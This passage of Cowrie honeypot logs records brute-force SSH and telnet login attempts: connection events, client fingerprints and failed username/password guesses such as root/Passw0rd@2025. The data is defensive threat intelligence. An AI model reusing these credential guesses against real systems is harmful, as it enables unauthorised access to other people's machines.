com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:11.270531Z","src_ip":"103.153.68.219","session":"6ec98fbea837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147852s","message":"login attempt [root/147852s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:12.024918Z","src_ip":"103.153.68.219","session":"6ec98fbea837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:13.277854Z","src_ip":"103.153.68.219","session":"6ec98fbea837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":51536,"dst_ip":"10.17.0.5","dst_port":22,"session":"73a09d728f87","protocol":"ssh","message":"New connection: 162.214.22.174:51536 (10.17.0.5:22) [session: 73a09d728f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:33.802173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:33.805975Z","src_ip":"162.214.22.174","session":"73a09d728f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:33.895135Z","src_ip":"162.214.22.174","session":"73a09d728f87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kathleen","password":"Tezos@S3cur3#P@ssw0rd","message":"login attempt [kathleen/Tezos@S3cur3#P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:34.163119Z","src_ip":"162.214.22.174","session":"73a09d728f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:35.254259Z","src_ip":"162.214.22.174","session":"73a09d728f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":40570,"dst_ip":"159.203.135.109","dst_port":22,"session":"74ff8cfcced3","protocol":"ssh","message":"New connection: 94.138.209.214:40570 (159.203.135.109:22) [session: 74ff8cfcced3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:39.905204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:39.917034Z","src_ip":"94.138.209.214","session":"74ff8cfcced3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:40.050242Z","src_ip":"94.138.209.214","session":"74ff8cfcced3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit@123","message":"login attempt [amit/amit@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:40.614757Z","src_ip":"94.138.209.214","session":"74ff8cfcced3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:41.751639Z","src_ip":"94.138.209.214","session":"74ff8cfcced3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0022304058075,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:39:59.045690Z","src_ip":"137.184.5.188","session":"758138a8320e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":60452,"dst_ip":"10.17.0.5","dst_port":22,"session":"b62c47da8aa7","protocol":"ssh","message":"New connection: 38.93.206.2:60452 (10.17.0.5:22) [session: b62c47da8aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:07.520553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:07.526586Z","src_ip":"38.93.206.2","session":"b62c47da8aa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:07.582040Z","src_ip":"38.93.206.2","session":"b62c47da8aa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abdullaev","message":"login attempt [root/abdullaev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:07.752050Z","src_ip":"38.93.206.2","session":"b62c47da8aa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.76273894309998,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:08.169447Z","src_ip":"170.64.224.25","session":"11e8824c0f4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:08.942228Z","src_ip":"38.93.206.2","session":"b62c47da8aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":34936,"dst_ip":"10.17.0.5","dst_port":22,"session":"73cb3ef75316","protocol":"ssh","message":"New connection: 210.90.155.178:34936 (10.17.0.5:22) [session: 73cb3ef75316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:10.983393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:10.987311Z","src_ip":"210.90.155.178","session":"73cb3ef75316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:11.193853Z","src_ip":"210.90.155.178","session":"73cb3ef75316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd@2025","message":"login attempt [root/Passw0rd@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:12.047380Z","src_ip":"210.90.155.178","session":"73cb3ef75316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:13.254046Z","src_ip":"210.90.155.178","session":"73cb3ef75316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":16259,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebebed19671e","protocol":"ssh","message":"New connection: 203.121.40.210:16259 (159.203.135.109:22) [session: ebebed19671e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:20.339777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:20.344862Z","src_ip":"203.121.40.210","session":"ebebed19671e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:20.682149Z","src_ip":"203.121.40.210","session":"ebebed19671e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password!","message":"login attempt [user/password!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:22.805905Z","src_ip":"203.121.40.210","session":"ebebed19671e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:24.044308Z","src_ip":"203.121.40.210","session":"ebebed19671e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34178,"dst_ip":"159.203.135.109","dst_port":23,"session":"76bd74ea8bd2","protocol":"telnet","message":"New connection: 170.64.224.25:34178 (159.203.135.109:23) [session: 76bd74ea8bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:38.413225Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":46868,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a90398d2a36","protocol":"ssh","message":"New connection: 51.250.105.222:46868 (159.203.135.109:22) [session: 9a90398d2a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:38.801066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:38.805497Z","src_ip":"51.250.105.222","session":"9a90398d2a36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:38.929041Z","src_ip":"51.250.105.222","session":"9a90398d2a36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:39.300326Z","src_ip":"51.250.105.222","session":"9a90398d2a36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:40.426771Z","src_ip":"51.250.105.222","session":"9a90398d2a36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":3804,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac21789cf6a4","protocol":"ssh","message":"New connection: 180.247.63.92:3804 (10.17.0.5:22) [session: ac21789cf6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:44.309622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:44.317421Z","src_ip":"180.247.63.92","session":"ac21789cf6a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:44.581881Z","src_ip":"180.247.63.92","session":"ac21789cf6a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"Admin@123","message":"login attempt [Admin/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:45.661696Z","src_ip":"180.247.63.92","session":"ac21789cf6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:46.926139Z","src_ip":"180.247.63.92","session":"ac21789cf6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":49878,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7bbabc3d342","protocol":"ssh","message":"New connection: 103.77.175.15:49878 (10.17.0.5:22) [session: a7bbabc3d342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:50.172710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:50.176733Z","src_ip":"103.77.175.15","session":"a7bbabc3d342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:40:50.402916Z","src_ip":"103.77.175.15","session":"a7bbabc3d342","protocol":"ssh"}
